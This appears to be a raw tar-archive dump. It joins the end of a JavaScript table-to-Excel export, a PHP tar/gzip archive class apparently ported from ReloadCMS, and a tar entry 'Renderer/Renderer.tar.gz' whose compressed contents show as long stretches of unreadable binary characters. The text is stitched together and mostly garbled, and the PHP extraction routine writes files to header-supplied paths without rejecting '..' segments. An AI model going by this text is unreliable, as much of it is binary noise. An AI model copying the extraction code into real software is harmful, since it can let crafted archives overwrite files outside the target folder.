    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Renderer/Renderer.tar.gz                                                                            0000644                 00000462366 15217306007 0011231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
